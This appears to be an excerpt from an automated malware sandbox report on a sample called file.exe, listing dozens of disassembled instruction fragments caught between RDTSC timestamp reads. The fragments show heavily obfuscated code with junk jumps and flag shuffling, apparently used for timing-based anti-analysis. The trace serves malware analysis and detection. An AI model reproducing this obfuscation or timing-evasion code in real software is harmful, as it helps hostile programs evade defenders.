Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0269 second address: 51C026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B001E second address: 51B0054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov di, 20F4h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FE5C082516Ah 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE5C082516Dh 0x0000001a jmp 00007FE5C082516Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 pop edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0054 second address: 51B00C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE5C082521Bh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007FE5C0825222h 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FE5C082521Dh 0x0000001d jmp 00007FE5C082521Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FE5C0825228h 0x00000029 xor ecx, 51EDF1C8h 0x0000002f jmp 00007FE5C082521Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B00C4 second address: 51B00DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B00DC second address: 51B00E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0013 second address: 51F00B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE5C082516Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE5C0825171h 0x00000017 sbb si, 6576h 0x0000001c jmp 00007FE5C0825171h 0x00000021 popfd 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 jmp 00007FE5C082516Ah 0x0000002c mov ebp, esp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov ebx, 58F8CCB0h 0x00000036 pushfd 0x00000037 jmp 00007FE5C0825179h 0x0000003c add ax, 7836h 0x00000041 jmp 00007FE5C0825171h 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F00B5 second address: 51F00BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F00BB second address: 51F00BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180136 second address: 5180151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825227h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180151 second address: 5180162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180162 second address: 5180166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180166 second address: 5180174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51801B9 second address: 51801BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51801BF second address: 51801C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51801C3 second address: 51801C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C88 second address: 51A0C9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C9F second address: 51A0CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0CA3 second address: 51A0CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0CA9 second address: 51A0CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE5C0825227h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0CCF second address: 51A0CEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07A3 second address: 51A07A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07A7 second address: 51A07AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07AD second address: 51A07B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07B3 second address: 51A07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07B7 second address: 51A07BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07BB second address: 51A07D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5C0825171h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A07D7 second address: 51A07E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C082521Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06D9 second address: 51A06FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 mov di, 858Eh 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A06FD second address: 51A070B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03F5 second address: 51A044A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2CCAh 0x00000007 mov edi, 3D834B96h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE5C0825178h 0x00000017 adc eax, 7DB603B8h 0x0000001d jmp 00007FE5C082516Bh 0x00000022 popfd 0x00000023 mov ebx, eax 0x00000025 popad 0x00000026 mov dword ptr [esp], ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FE5C0825171h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0488 second address: 51B048C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B048C second address: 51B0492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0492 second address: 51B04AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 mov eax, 377F7CC3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5C082521Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B04AF second address: 51B04CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B04CC second address: 51B0519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE5C0825223h 0x00000013 add si, B12Eh 0x00000018 jmp 00007FE5C0825229h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0519 second address: 51B051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B051F second address: 51B0523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B0523 second address: 51B0527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F1D second address: 51E0F23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F23 second address: 51E0F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F27 second address: 51E0F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 mov cx, ECA3h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0F3C second address: 51E0F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, 6F86907Eh 0x00000012 jmp 00007FE5C082516Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0510 second address: 51C0516 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0516 second address: 51C051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C051A second address: 51C054B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5C0825225h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C054B second address: 51C0551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0551 second address: 51C0571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0571 second address: 51C0577 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0577 second address: 51C057D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C057D second address: 51C0581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0581 second address: 51C0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0590 second address: 51C0596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0596 second address: 51C05AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825222h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C05AC second address: 51C05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C05B0 second address: 51C064E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FE5C0825227h 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FE5C0825224h 0x00000019 and al, 00000058h 0x0000001c jmp 00007FE5C082521Bh 0x00000021 popfd 0x00000022 push esi 0x00000023 mov cx, bx 0x00000026 pop ebx 0x00000027 popad 0x00000028 and dword ptr [eax], 00000000h 0x0000002b jmp 00007FE5C082521Eh 0x00000030 and dword ptr [eax+04h], 00000000h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FE5C082521Dh 0x0000003d add eax, 1B2388A6h 0x00000043 jmp 00007FE5C0825221h 0x00000048 popfd 0x00000049 jmp 00007FE5C0825220h 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C064E second address: 51C0654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0624 second address: 51A0648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b jmp 00007FE5C0825222h 0x00000010 mov dword ptr [esp], ebp 0x00000013 pushad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0648 second address: 51A065A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov ebx, ecx 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, ax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A065A second address: 51A065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A065F second address: 51A0665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0665 second address: 51A0669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C014B second address: 51C0168 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 4F0CA08Ah 0x00000008 jmp 00007FE5C082516Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0168 second address: 51C016C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C016C second address: 51C0172 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0172 second address: 51C018F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825229h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C018F second address: 51C0193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0193 second address: 51C01BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FE5C082521Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5C082521Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C03C8 second address: 51C03CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C03CD second address: 51C0427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825228h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov esi, 0A0AD0FDh 0x00000011 pushfd 0x00000012 jmp 00007FE5C082521Ah 0x00000017 xor ecx, 37529DD8h 0x0000001d jmp 00007FE5C082521Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FE5C0825225h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E06A3 second address: 51E06B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C082516Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E06B5 second address: 51E06B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E06B9 second address: 51E070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE5C0825177h 0x0000000e mov ebp, esp 0x00000010 jmp 00007FE5C0825176h 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE5C0825177h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E070B second address: 51E0797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE5C0825227h 0x00000011 sbb ax, 237Eh 0x00000016 jmp 00007FE5C0825229h 0x0000001b popfd 0x0000001c mov edi, ecx 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 jmp 00007FE5C082521Ah 0x00000025 mov eax, dword ptr [76FB65FCh] 0x0000002a jmp 00007FE5C0825220h 0x0000002f test eax, eax 0x00000031 pushad 0x00000032 call 00007FE5C082521Eh 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0797 second address: 51E0814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FE5C0825171h 0x0000000b and al, FFFFFFC6h 0x0000000e jmp 00007FE5C0825171h 0x00000013 popfd 0x00000014 popad 0x00000015 je 00007FE632578308h 0x0000001b jmp 00007FE5C082516Eh 0x00000020 mov ecx, eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FE5C082516Dh 0x0000002b xor esi, 43FEC9D6h 0x00000031 jmp 00007FE5C0825171h 0x00000036 popfd 0x00000037 jmp 00007FE5C0825170h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0814 second address: 51E089B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5C0825221h 0x00000009 or ax, 8DE6h 0x0000000e jmp 00007FE5C0825221h 0x00000013 popfd 0x00000014 call 00007FE5C0825220h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xor eax, dword ptr [ebp+08h] 0x00000020 jmp 00007FE5C082521Eh 0x00000025 and ecx, 1Fh 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FE5C0825229h 0x00000031 sbb ah, 00000056h 0x00000034 jmp 00007FE5C0825221h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E089B second address: 51E08FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007FE5C082516Eh 0x00000010 leave 0x00000011 pushad 0x00000012 mov eax, 4E2606FDh 0x00000017 pushfd 0x00000018 jmp 00007FE5C082516Ah 0x0000001d and ax, 8BD8h 0x00000022 jmp 00007FE5C082516Bh 0x00000027 popfd 0x00000028 popad 0x00000029 retn 0004h 0x0000002c nop 0x0000002d mov esi, eax 0x0000002f lea eax, dword ptr [ebp-08h] 0x00000032 xor esi, dword ptr [00892014h] 0x00000038 push eax 0x00000039 push eax 0x0000003a push eax 0x0000003b lea eax, dword ptr [ebp-10h] 0x0000003e push eax 0x0000003f call 00007FE5C51B598Dh 0x00000044 push FFFFFFFEh 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FE5C0825170h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E08FD second address: 51E090C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E090C second address: 51E0916 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3BFA2E5Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0916 second address: 51E092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE5C082521Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E092A second address: 51E0969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 5E44h 0x00000007 pushfd 0x00000008 jmp 00007FE5C082516Dh 0x0000000d adc ah, FFFFFF86h 0x00000010 jmp 00007FE5C0825171h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 ret 0x0000001a nop 0x0000001b push eax 0x0000001c call 00007FE5C51B59F7h 0x00000021 mov edi, edi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FE5C082516Dh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E0969 second address: 51E09CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 jmp 00007FE5C0825223h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FE5C0825226h 0x00000013 push eax 0x00000014 jmp 00007FE5C082521Bh 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov ecx, 2664780Bh 0x00000020 mov dl, al 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007FE5C0825223h 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E09CD second address: 51E09D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
